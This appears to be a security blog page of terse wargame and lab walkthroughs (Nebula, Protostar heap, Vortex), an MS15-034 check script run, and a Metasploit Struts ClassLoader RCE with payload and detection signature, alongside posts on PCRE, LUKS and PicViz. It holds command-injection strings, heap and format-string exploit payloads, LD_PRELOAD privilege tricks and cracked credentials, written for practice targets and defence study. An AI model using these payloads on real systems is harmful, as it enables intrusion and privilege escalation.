#cat serializer.py#cat runner.py#python serializer.py#python runner.py YwEAAAABAAAAAQAAAEMAAABzCQAAAHwAAEdIZAAAUygBAAAATigAAAAAKAEAAAB0AwAAAG1zZygAAAAAKAAAAABzDQAAAHNlcmlhbGl6ZXIucHl0CAAAAGZ1bmN0aW9uBAAAAHMCAAAAAAE=
# Serializing functions with marshal
# Nebula
Level 00
$find / -user flag00 -perm -4000 2>/dev/null$/bin/.../flag00$/bin/getflag
Level 01
$ln -s /bin/getflag /tmp/echo$PATH=/tmp:$PATH$/home/flag01/flag01
Level 02
$USER=';/bin/getflag;#'$/home/flag02/flag02
Level 03
$echo -en '#!/bin/sh\n\n/bin/getflag > /tmp/flag03' > /home/flag03/writable.d/l03.sh$cat /tmp/flag03
Level 04
$ln -s /home/flag04/token /tmp/t0k3n$/home/flag04/flag04 /tmp/t0k3n$su -l flag0406508b5e-8909-4f38-b630-fdb148a848a2$/bin/getflag
Level 05
$tar xvzf /home/flag05/.backup/backup-19072011.tgz -C /tmp/.$ssh -i /tmp/.ssh/id_rsa flag05@localhost /bin/getflag
Level 06
$cat /etc/passwd | grep flag06$echo 'flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh' > /tmp/flag06.pw$john /tmp/flag06.pw$su -l flag06hello$/bin/getflag
Level 07
$nc localhost 7007GET /index.cgi?Host=localhost|/bin/getflag
Level 08
$wireshark capture.pcap# Follow TCP Stream + Hexdump $su -l flag08backd00Rmate$/bin/getflag
Level 09
$echo '[email ${`/bin/echo;/usr/bin/id;/bin/getflag;/bin/echo`}]' > /tmp/l09$/home/flag09/flag09 /tmp/l09
Level 10
$nc -v -k -l localhost 18211$for i in `seq 1 1000`; do ln -f -s /etc/hostname /tmp/token; /home/flag10/flag10 /tmp/token localhost & ln -f -s /home/flag10/token /tmp/token; done$nc -v -k -l localhost 18211$su -l flag10615a2ce1-b2b5-4c76-8eed-8aa5c4015c27$/bin/getflag
Level 11
$PATH=/tmp:$PATH$ln -s /bin/getflag /tmp/c$cat /tmp/11a.py$chmod +x /tmp/11a.py$/tmp/11a.py | /home/flag11/flag11
$TEMP=/tmp$cat /tmp/11b.py$chmod +x /tmp/11b.py$/tmp/11b.py | /home/flag11/flag11
Level 12
$nc localhost 500014754a4f4bd5787accd33de887b9250a0691dd198; /bin/getflag > /tmp/flag12 #$cat /tmp/flag12
Level 13
$cp /home/flag13/flag13 /tmp/.$echo 'int getuid() { return 1000; }' > /tmp/libfake.c$gcc -shared /tmp/libfake.c -o /tmp/libfake.so$LD_PRELOAD=/tmp/libfake.so /tmp/flag13$su -l flag13b705702b-76a8-42b0-8844-3adabbe5ac58$/bin/getflag
Level 14
$/home/flag14/flag14 -e$cat /home/flag14/token$cat /tmp/l14.py$/tmp/l14.py 857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.$su -l flag148457c118-887c-4e40-a5a6-33a25353165$/bin/getflag
Level 15
$strace /home/flag15/flag15$cat /tmp/libfake.c$cat /tmp/version$gcc -fPIC -shared -static-libgcc -Wl,--version-script=/tmp/version,-Bstatic -o /var/tmp/flag15/libc.so.6 /tmp/libfake.c$/home/flag15/flag15$/bin/getflag
Level 16
$cat /tmp/L16$nc localhost 1616GET /index.cgi?username=`/*/L16`$cat /tmp/flag16
Level 17
$cat /tmp/l17.py$python /tmp/l17.py$cat /tmp/flag17
Level 18
$cat /tmp/Starting$chmod +x /tmp/Starting$PATH=/tmp:$PATH$python -c "print 'login me\n'*1021 + 'closelog\n'*1021 + 'shell\n'" | /home/flag18/flag18 --rcfile -d /tmp/debug -v -v -v 2> /dev/null
Level 19
$cat /tmp/fork.c$gcc -o /tmp/fork /tmp/fork.c$/tmp/fork$
$cat /tmp/fork.py$python /tmp/fork.py$
Reference
https://exploit-exercises.com/nebula/
# CVE-2015-1635: Check and exploit MS15-034
#cat cve-2015-1635.py#./cve-2015-1635.py -h#./cve-2015-1635.py -u http://127.0.0.1:8080#./cve-2015-1635.py -u http://127.0.0.1:8080 -e
References
https://technet.microsoft.com/library/security/ms15-034
# PCRE (Perl Compatible Regular Expression)
General Tokens
\n Newline\r Carriage return\t Tab\0 Null characterAnchors
\G Start of match. Will match at the position the previous successful match ended^ Start of string (multiline mode). Will match after each newline character$ End of string (multiline mode). Will match before each newline character\A Start of string\Z End of string. Will match before last newline character\z End of string. Will match at the end of a string\b A word boundary. Will match between \w and \W\B Non-word boundary. Will match between two characters matched by \wMeta Sequences
. Any single character\s Any whitespace\S Any non-whitespace\d Any digit\D Any non-digit\w Any word\W Any non-word\X Any unicode sequences\C Match one data unit\R Unicode newline\v Vertical whitespace\h Horizontal whitespace\H Non-horizontal whitespace\K Reset match: sets the given position as the new start\n Match nth subpattern (backreference)\pX Unicode property X\PX Non-unicode property X\p{...} Unicode properties\P{...} Non-unicode properties\Q...\E Any characters between will be treated as literals\k<name> Match subpattern 'name'\k'name' Match subpattern 'name'\k{name} Match subpattern 'name'\gn Match nth subpattern\g{n} Match nth subpattern\g{-n} Match nth group before current position\g'name' Recurse subpattern 'name'\g<n> Recurse nth subpattern\g'n' Recurse nth subpattern\g<+n> Recurse nth relative subpattern\g'+n' Recurse nth relative subpattern\xYY Hex character YY\x{YYYY} Hex character YYYY\ddd Octal character ddd\cY Control character Y\b Backspace character\ Makes any character literalQuantifiers
a? Zero or one aa* Zero or more of aa+ One or more of aa{3} Exactly 3 of aa{3,} 3 or more of aa{3,6} Between 3 and 6 of aa* Greedy quantifiera*? Lazy/Reluctant quantifiera*+ Possessive quantifierGroup Constructs
(...) Capture everything enclosed(a|b) a or b(?:...) Match everything enclosed but won't create a capture group(?>...) Atomic group(?|...) Duplicate subpattern group(?#...) Comment(?'name'...) Named capturing group(?<name>...) Named capturing group(?P<name>...) Named capturing group(?imsxXU) Inline modifiers(?(...)|) Conditional statement(?R) Recurse entire pattern(?1) Recurse first subpattern(?+1) Recurse first relative subpattern(?&name) Match subpattern 'name'(?P>name) Match subpattern 'name'(?=...) Positive lookahead(?!...) Negative lookahead(?<=...) Positive lookbehind(?<!...) Negative lookbehindCharacter classes
[abc] A character: a, b or c[^abc] A character except: a, b or c[a-z] A character in the range: a-z[a-z] A character not in the range: a-z[a-zA-Z] A character in the range: a-z or A-Z[[:alnum:]] Letter or digit[[:alpha:]] Letter[[:ascii:]] Ascii code in the range: 0-127[[:blank:]] Space or tab[[:cntrl:]] Control character[[:digit:]] Digit[[:graph:]] Visible character (not space)[[:lower:]] Lower character[[:print:]] Visible character[[:punct:]] Visible punctuation character[[:space:]] Whitespace[[:upper:]] Uppercase character[[:word:]] Word[[:xdigit:]] Hexadecimal digitFlags/Modifiers
g Globalm Multilinei Case insensitivex Ignore whitespaces Single lineu UnicodeX ExtendedU UngreedyA AnchorSubstitution
\0 Complete match contents\1 Contents in capture group 1\g<1> Contents in capture group 1$1 Contents in capture group 1${foo} Contents in capture group 'foo'\{foo} Contents in capture group 'foo'\g{foo} Contents in capture group 'foo'\xYY Hexadecimal replacement\x{YYZZ} Hexadecimal replacement\t Tab\r Carriage return\n Newline\f Form-feedPCRE tester
#perl -Mre=debugcolor -e '"preval(" =~ /(^|\s)eval\(/'#perl -Mre=debugcolor -e '"eval(" =~ /(^|\s)eval\(/'
References
http://pcre.org/pcre.txt
# Protostar - Heap
Heap 0
$cat heap0.c$file heap0$gdb heap0(gdb)disassemble main(gdb)p winner(gdb)b *0x080484f2(gdb)b *0x080484fd(gdb)run AAAA(gdb)x/20xw 0x804a008(gdb)c(gdb)x/20xw 0x804a008(gdb)quit$./heap0 `python -c 'from struct import pack; print "A"*(0x804a050-0x804a008) + pack("<I", 0x08048464)'`
Heap 1
$cat heap1.c$file heap1$gdb heap1(gdb)disassemble main(gdb)p winner(gdb)x/i 0x80483cc(gdb)x/xw 0x8049774(gdb)b *0x080484ce(gdb)b *0x080484e8(gdb)b *0x080484fd(gdb)b *0x08048517(gdb)b *0x08048538(gdb)b *0x08048555(gdb)b *0x08048561(gdb)run AAAA BBBB(gdb)i r eax(gdb)c(gdb)i r eax(gdb)c(gdb)i r eax(gdb)c(gdb)i r eax(gdb)c(gdb)x/16xw 0x804a008(gdb)quit$./heap1 `python -c 'from struct import pack; print "A"*(0x804a02c-0x804a018) + pack("<I", 0x08049774), pack("<I", 0x08048494)'`
Heap 2
$cat heap2.c$file heap2$gdb heap2(gdb)disassemble main(gdb)b *0x08048942(gdb)runauth AAAA(gdb)info proc map(gdb)x/12xw 0x804c000(gdb)p &auth->name(gdb)p &auth->auth(gdb)cserviceAAAABBBBCCCCDDDD(gdb)x/12xw 0x804c000(gdb)x/xw &auth->auth(gdb)clogin
Heap 3
$cat heap3.c$file heap3$gdb heap3(gdb)disassemble main(gdb)b *0x080488c5(gdb)p winner(gdb)run A B C(gdb)info proc map(gdb)x/i 0x8048790(gdb)x/xw 0x804b128(gdb)x/32xw 0x804c000(gdb)quit$./heap3 `python -c 'from struct import pack; print "A"*4 + "\x68\x64\x88\x04\x08\xc3" + "A"*22 + pack("<I", 0xfffffffc)*2, "B"*4 + pack("<I", 0x0804b128-12) + pack("<I", 0x804c00c), "C"'`
Reference
https://exploit-exercises.com/protostar/
# CVE-2014-0094: Apache Struts ClassLoader manipulation RCE
Testbed
#wget http://mirrors.ibiblio.org/apache/tomcat/tomcat-8/v8.0.18/bin/apache-tomcat-8.0.18.tar.gz#tar xvzf apache-tomcat-8.0.18.tar.gz#mv apache-tomcat-8.0.18 /opt/tomcat#cat /etc/environment#source /etc/environment#grep -v -E "^(<\!| |-|$)" /opt/tomcat/conf/tomcat-users.xml#$CATALINA_HOME/bin/startup.sh#wget http://archive.apache.org/dist/struts/binaries/struts-2.3.16-all.zip#unzip struts-2.3.16-all.zip#find struts-2.3.16 | grep '\.war'#! From http://10.0.0.2:8080/manager/html deploy struts2-blank.war #tail -f /opt/tomcat/logs/*
Exploitation
msf >search cve-2014-0094msf >use exploit/multi/http/struts_code_exec_classloadermsf exploit(struts_code_exec_classloader) >set rhost 10.0.0.2msf exploit(struts_code_exec_classloader) >set lhost 10.0.0.1msf exploit(struts_code_exec_classloader) >set target 0msf exploit(struts_code_exec_classloader) >show optionsmsf exploit(struts_code_exec_classloader) >exploitwhoami
Defense: payload and signature
GET /struts2-blank/example/HelloWorld.action? class['classLoader'].resources.context.parent.pipeline.first.directory=webapps/ROOT& class['classLoader'].resources.context.parent.pipeline.first.prefix=0Ucn& class['classLoader'].resources.context.parent.pipeline.first.suffix=.jsp& class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat=4 HTTP/1.1 Signature name =Apache Struts ClassLoader manipulationpart ="class", rgxp ="(.*\.|^|.*|\[('|\"))(c|C)lass(\.|('|\")\]|\[).*"Search in :ParametersProtocols :http, https
References
http://www.slideshare.net/testpurposes/deep-inside-the-java-framework-apache-struts
http://www.rapid7.com/db/modules/exploit/multi/http/struts_code_exec_classloader
# PicViz: Spot the difference
#apt-get install picviz#cat csv2pgdl.py#./csv2pgdl.py data.csv > data.pgdl#pcv -Tpngcairo data.pgdl -rrra -Rheatline -o data.png# or #pcv -Tpngcairo data.pgdl -rrra -Rheatline -o data.png 'show value = "tcp" on axis 2 and value = "23" on axis 6'#eog data.png
References
http://en.wikipedia.org/wiki/Parallel_coordinates
Labels:
parallel_coordinates,
visualization
# Encrypt with LUKS (Linux Unified Key Setup)
#apt-get install cryptsetup#luksformat -t ext4 /dev/sdb#cryptsetup luksDump /dev/sdb#cryptsetup open --type luks /dev/sdb luks#mount /dev/mapper/luks /mnt/luks#umount /mnt/luks#cryptsetup close luks
# Vortex wargame: Level 4
#ssh vortex4@vortex.labs.overthewire.org$file /vortex/vortex4$mkdir /tmp/v4$cd /tmp/v4$cat execve.c$gcc -m32 -o execve execve.c$cat getenvaddr.c$gcc -m32 -o getenvaddr getenvaddr.c$cat format_string.py$gdb /vortex/vortex4(gdb)set disassembly-flavor intel(gdb)disassemble main$readelf -r /vortex/vortex4$./execve /tmp/v4/getenvaddr `./format_string.py findinit 0xffffffff 0804a014 0 104 5`$./execve /tmp/v4/getenvaddr `./format_string.py findinit 0xffffdf83 0804a014 0 104 5`$./execve /vortex/vortex4 `./format_string.py findinit 0xffffdf85 0804a014 0 104 5`; echo%104 = init $./execve /vortex/vortex4 `./format_string.py exploit 0xffffdf85 0804a014 0 104 5`; echo$whoami$/bin/cat /etc/vortex_pass/vortex5
Labels:
getenvaddr,
overthewire,
relocation,
vortex,
wargame
# NcN CTF 2k14: OST (400 points)
Can you hear it? We neither ;)
#cat pattern.py#./pattern.py ost.wav#cat solution.py#./solution.py ost.wav output#file output#tesseract output flag && cat flag.txt
Subscribe to:
Posts (Atom)